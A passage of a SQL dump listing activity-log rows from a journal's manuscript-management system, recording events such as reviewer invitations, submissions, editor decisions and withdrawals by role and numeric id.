Manuscript',6782,'Editor',1394),(58829,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6782,'Editor',1394),(58830,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(58831,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(58832,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(58833,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(58834,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(58835,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6782,'Publisher',85),(58837,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6348,'Publisher',85),(58838,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6347,'Publisher',85),(58840,'0000-00-00 00:00:00','Reviewer has submitted comments',6761,'Reviewer',11519),(58841,'0000-00-00 00:00:00','Author sent Email',6848,'Author',8042),(58843,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6914,'Author',8182),(58845,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6915,'Author',8183),(58847,'0000-00-00 00:00:00','Reviewer has submitted comments',6731,'Reviewer',11355),(58849,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',6880,'Reviewer',15660),(58863,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6908,'Publisher',48),(58864,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6908,'Publisher',48),(58888,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6642,'Editor',1235),(58889,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6642,'Editor',1235),(58890,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6643,'Editor',1235),(58891,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6643,'Editor',1235),(58892,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6644,'Editor',1235),(58893,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6645,'Editor',1235),(58894,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6644,'Editor',1235),(58895,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6645,'Editor',1235),(58897,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6642,'Publisher',274),(58898,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6645,'Publisher',274),(58899,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6644,'Publisher',274),(58900,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6643,'Publisher',274),(59037,'0000-00-00 00:00:00','Reviewer has submitted comments',6731,'Reviewer',11354),(59038,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(59039,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(59040,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(59041,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(59042,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(59043,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(59044,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(59045,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(59046,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(59052,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6865,'Publisher',376),(59053,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6752,'Publisher',376),(59054,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6752,'Publisher',376),(59057,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6227,'Publisher',376),(59058,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6227,'Publisher',376),(59059,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6227,'Publisher',376),(59060,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6227,'Publisher',376),(59061,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6139,'Publisher',376),(59062,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6139,'Publisher',376),(59063,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6139,'Publisher',376),(59064,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6139,'Publisher',376),(59066,'0000-00-00 00:00:00','Publisher : Notified Editor',6863,'Publisher',673),(59067,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6863,'Editor',1456),(59068,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6863,'Editor',1456),(59069,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6731,'Publisher',673),(59070,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6731,'Publisher',673),(59108,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6797,'Editor',1439),(59109,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6797,'Editor',1439),(59117,'0000-00-00 00:00:00','Reviewer has submitted comments',6880,'Reviewer',15660),(59118,'0000-00-00 00:00:00','Reviewer has submitted comments',6908,'Reviewer',15675),(59161,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(59162,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(59163,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(59164,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(59165,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(59166,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(59167,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(59186,'0000-00-00 00:00:00','Reviewer has submitted comments',6755,'Reviewer',11355),(59187,'0000-00-00 00:00:00','Author sent Email',6710,'Author',7965),(59234,'0000-00-00 00:00:00','Reviewer has submitted comments',6755,'Reviewer',14805),(59243,'0000-00-00 00:00:00','Publisher : Notified Editor',6755,'Publisher',673),(59244,'0000-00-00 00:00:00','Publisher : Notified Editor',6880,'Publisher',673),(59245,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6755,'Editor',1456),(59246,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',6755,'Editor',1456),(59247,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6880,'Editor',1456),(59248,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',6880,'Editor',1456),(59249,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',6880,'Editor',1456),(59250,'0000-00-00 00:00:00','Publisher : Notified Author',6880,'Publisher',673),(59251,'0000-00-00 00:00:00','Publisher : Notified Author',6755,'Publisher',673),(59255,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6751,'Publisher',48),(59260,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6681,'Publisher',48),(59261,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6681,'Publisher',48),(59262,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6681,'Publisher',48),(59265,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6665,'Publisher',48),(59266,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6665,'Publisher',48),(59267,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6665,'Publisher',48),(59268,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6663,'Publisher',48),(59269,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6663,'Publisher',48),(59270,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6663,'Publisher',48),(59271,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6663,'Publisher',48),(59291,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6910,'Publisher',48),(59292,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6886,'Publisher',48),(59311,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6797,'Publisher',85),(59312,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6764,'Publisher',85),(59313,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6769,'Publisher',85),(59323,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6929,'Author',8200),(59328,'0000-00-00 00:00:00','Reviewer has submitted comments',6880,'Reviewer',11355),(59345,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(59346,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(59347,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(59348,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(59349,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(59357,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6915,'Publisher',248),(59358,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6915,'Publisher',248),(59359,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6915,'Publisher',248),(59360,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6915,'Publisher',248),(59361,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6915,'Publisher',248),(59362,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6915,'Publisher',248),(59363,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6915,'Publisher',248),(59382,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6765,'Publisher',673),(59383,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6765,'Publisher',673),(59393,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6933,'Author',8203),(59394,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6934,'Author',8204),(59399,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6707,'Publisher',85),(59400,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6707,'Publisher',85),(59426,'0000-00-00 00:00:00','Reviewer has submitted comments',6782,'Reviewer',10685),(59427,'0000-00-00 00:00:00','Reviewer has submitted comments',6707,'Reviewer',15588),(59432,'0000-00-00 00:00:00','Reviewer has submitted comments',6663,'Reviewer',5467),(59441,'0000-00-00 00:00:00','Reviewer has submitted comments',6908,'Reviewer',15676),(59444,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6944,'Author',8213),(59467,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6944,'Publisher',48),(59468,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6934,'Publisher',48),(59469,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6944,'Publisher',48),(59470,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6944,'Publisher',48),(59471,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6944,'Publisher',48),(59472,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6944,'Publisher',48),(59474,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6934,'Publisher',48),(59475,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6934,'Publisher',48),(59476,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6934,'Publisher',48),(59477,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6934,'Publisher',48),(59479,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6934,'Publisher',48),(59507,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6887,'Editor',194),(59508,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6887,'Editor',194),(59509,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6887,'Publisher',48),(59510,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6887,'Publisher',48),(59511,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6929,'Publisher',84),(59515,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(59516,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(59517,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(59518,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(59519,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(59520,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(59521,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(59522,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(59523,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(59524,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(59540,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6887,'Publisher',48),(59556,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6908,'Editor',194),(59557,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6908,'Editor',194),(59558,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6908,'Publisher',48),(59564,'0000-00-00 00:00:00','Reviewer has submitted comments',6944,'Reviewer',5467),(59565,'0000-00-00 00:00:00','Reviewer has submitted comments',6944,'Reviewer',5467),(59566,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6953,'Author',8223),(59591,'0000-00-00 00:00:00','Reviewer has submitted comments',6755,'Reviewer',11354),(59592,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6944,'Publisher',48),(59593,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6944,'Publisher',48),(59594,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6944,'Publisher',48),(59595,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6934,'Publisher',48),(59596,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6934,'Publisher',48),(59597,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6934,'Publisher',48),(59598,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6934,'Publisher',48),(59599,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6934,'Publisher',48),(59600,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6934,'Publisher',48),(59620,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6860,'Editor',1410),(59621,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6860,'Editor',1410),(59623,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6860,'Publisher',988),(59624,'0000-00-00 00:00:00','Reviewer has submitted comments',6860,'Reviewer',13180),(59625,'0000-00-00 00:00:00','Reviewer has submitted comments',6860,'Reviewer',12972),(59626,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6860,'Editor',1410),(59636,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6953,'Publisher',376),(59645,'0000-00-00 00:00:00','Publisher : Notified Editor',6707,'Publisher',85),(59649,'0000-00-00 00:00:00','Reviewer has submitted comments',6851,'Reviewer',14994),(59651,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6959,'Author',8229),(59652,'0000-00-00 00:00:00','Reviewer has submitted comments',6944,'Reviewer',15676),(59655,'0000-00-00 00:00:00','Manuscript Submitted by Author',6960,'Author',6984),(59656,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6934,'Publisher',48),(59657,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6934,'Publisher',48),(59666,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6914,'Publisher',75),(59667,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6909,'Publisher',75),(59668,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6905,'Publisher',75),(59669,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6502,'Publisher',75),(59683,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6960,'Publisher',274),(59686,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6770,'Editor',1067),(59687,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6770,'Publisher',319),(59688,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6770,'Publisher',319),(59689,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6770,'Publisher',319),(59699,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6910,'Editor',194),(59700,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6910,'Editor',194),(59701,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6910,'Editor',194),(59702,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6944,'Editor',194),(59703,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6944,'Editor',194),(59704,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6887,'Editor',194),(59705,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6886,'Editor',194),(59706,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6886,'Editor',194),(59707,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6934,'Editor',194),(59708,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6934,'Editor',194),(59709,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6944,'Publisher',48),(59710,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6934,'Publisher',48),(59711,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6910,'Publisher',48),(59712,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6909,'Editor',160),(59713,'0000-00-00 00:00:00','Editor has Invited Reviewer',6909,'Editor',160),(59714,'0000-00-00 00:00:00','Editor has Invited Reviewer',6909,'Editor',160),(59715,'0000-00-00 00:00:00','Editor has Invited Reviewer',6909,'Editor',160),(59716,'0000-00-00 00:00:00','Editor has Invited Reviewer',6909,'Editor',160),(59717,'0000-00-00 00:00:00','Editor has Invited Reviewer',6909,'Editor',160),(59721,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6964,'Author',8235),(59730,'0000-00-00 00:00:00','Reviewer has submitted comments',6865,'Reviewer',7021),(59765,'0000-00-00 00:00:00','Publisher : Notified Editor',6572,'Publisher',85),(59766,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6964,'Publisher',85),(59767,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(59768,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(59769,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(59770,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(59771,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(59772,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(59773,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(59774,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(59775,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(59776,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(59777,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(59778,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(59779,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(59780,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6572,'Editor',1408),(59781,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6572,'Publisher',85),(59789,'0000-00-00 00:00:00','Manuscript Submitted by Author',6971,'Author',6984),(59791,'0000-00-00 00:00:00','Reviewer has submitted comments',6880,'Reviewer',11354),(59793,'0000-00-00 00:00:00','Author sent Email',6854,'Author',8119),(59794,'0000-00-00 00:00:00','Author sent Email',6752,'Author',8006),(59840,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6959,'Publisher',376),(59841,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6953,'Publisher',376),(59842,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6959,'Publisher',376),(59843,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6959,'Publisher',376),(59844,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6959,'Publisher',376),(59845,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6973,'Author',8245),(59848,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6976,'Author',8249),(59849,'0000-00-00 00:00:00','Manuscript Submitted by Author',6977,'Author',7690),(59851,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6979,'Author',8251),(59852,'0000-00-00 00:00:00','Author sent Email',6549,'Author',4286),(59853,'0000-00-00 00:00:00','Author sent Email',6752,'Author',8006),(59868,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6976,'Publisher',274),(59869,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6971,'Publisher',274),(59872,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6984,'Author',8254),(59889,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(59908,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6984,'Publisher',248),(59909,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6986,'Author',8256),(59927,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6979,'Publisher',48),(59929,'0000-00-00 00:00:00','Reviewer has submitted comments',6826,'Reviewer',9908),(59930,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6826,'Editor',1235),(59931,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',6826,'Editor',1235),(59932,'0000-00-00 00:00:00','Publisher : Notified Author',6826,'Publisher',274),(59933,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6843,'Publisher',274),(59934,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6989,'Author',8260),(59964,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6989,'Publisher',48),(59965,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6989,'Publisher',48),(59966,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6989,'Publisher',48),(59967,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6979,'Publisher',48),(59968,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6979,'Publisher',48),(59979,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6992,'Author',8263),(60044,'0000-00-00 00:00:00','Reviewer has submitted comments',6538,'Reviewer',15599),(60046,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6996,'Author',8268),(60049,'0000-00-00 00:00:00','Manuscript Submitted by Author',6999,'Author',6984),(60050,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6350,'Publisher',75),(60051,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6350,'Publisher',75),(60052,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6350,'Publisher',75),(60055,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6973,'Publisher',673),(60061,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60062,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60063,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60064,'0000-00-00 00:00:00','Reviewer has submitted comments',6840,'Reviewer',11659),(60066,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6840,'Editor',1235),(60067,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',6840,'Editor',1235),(60070,'0000-00-00 00:00:00','Publisher : Notified Author',6840,'Publisher',274),(60076,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6996,'Publisher',48),(60093,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6999,'Publisher',274),(60100,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7009,'Author',8282),(60102,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6996,'Publisher',48),(60103,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6996,'Publisher',48),(60135,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7014,'Publisher',48),(60137,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6986,'Publisher',75),(60138,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7009,'Publisher',75),(60146,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7009,'Editor',160),(60147,'0000-00-00 00:00:00','Editor has Invited Reviewer',7009,'Editor',160),(60148,'0000-00-00 00:00:00','Editor has Invited Reviewer',7009,'Editor',160),(60149,'0000-00-00 00:00:00','Editor has Invited Reviewer',7009,'Editor',160),(60150,'0000-00-00 00:00:00','Editor has Invited Reviewer',7009,'Editor',160),(60191,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7017,'Author',8291),(60241,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6960,'Publisher',274),(60242,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6960,'Publisher',274),(60243,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6960,'Publisher',274),(60244,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6960,'Publisher',274),(60245,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6960,'Publisher',274),(60261,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7022,'Author',8297),(60264,'0000-00-00 00:00:00','Reviewer has submitted comments',6843,'Reviewer',12022),(60265,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6999,'Publisher',274),(60266,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6999,'Publisher',274),(60267,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6999,'Publisher',274),(60268,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6999,'Publisher',274),(60281,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60282,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60283,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60284,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60285,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60286,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60287,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60288,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60289,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60292,'0000-00-00 00:00:00','Author sent Email',6854,'Author',8119),(60326,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60327,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60328,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60329,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60330,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60331,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60332,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60333,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60334,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60335,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60336,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60346,'0000-00-00 00:00:00','Publisher : Notified Editor',6538,'Publisher',984),(60347,'0000-00-00 00:00:00','Publisher : Notified Author',6880,'Publisher',673),(60348,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6863,'Publisher',673),(60349,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6863,'Publisher',673),(60350,'0000-00-00 00:00:00','Publisher : Notified Author',6732,'Publisher',673),(60354,'0000-00-00 00:00:00','Author sent Email',6732,'Author',7985),(60382,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7029,'Author',8305),(60388,'0000-00-00 00:00:00','Publisher : Notified Editor',6732,'Publisher',673),(60389,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6732,'Publisher',673),(60390,'0000-00-00 00:00:00','Reviewer has submitted comments',6973,'Reviewer',14805),(60391,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7014,'Publisher',48),(60395,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7022,'Publisher',48),(60397,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7030,'Author',8307),(60398,'0000-00-00 00:00:00','Manuscript Submitted by Author',7031,'Author',8307),(60402,'0000-00-00 00:00:00','Manuscript Submitted by Author',7034,'Author',6225),(60416,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7017,'Publisher',248),(60417,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6549,'Publisher',248),(60418,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6549,'Publisher',248),(60419,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6549,'Publisher',248),(60420,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6549,'Publisher',248),(60421,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6549,'Publisher',248),(60422,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6549,'Publisher',248),(60423,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6549,'Publisher',248),(60436,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6843,'Editor',1235),(60437,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',6843,'Editor',1235),(60438,'0000-00-00 00:00:00','Publisher : Notified Author',6843,'Publisher',274),(60446,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60447,'0000-00-00 00:00:00','Publisher has Invited 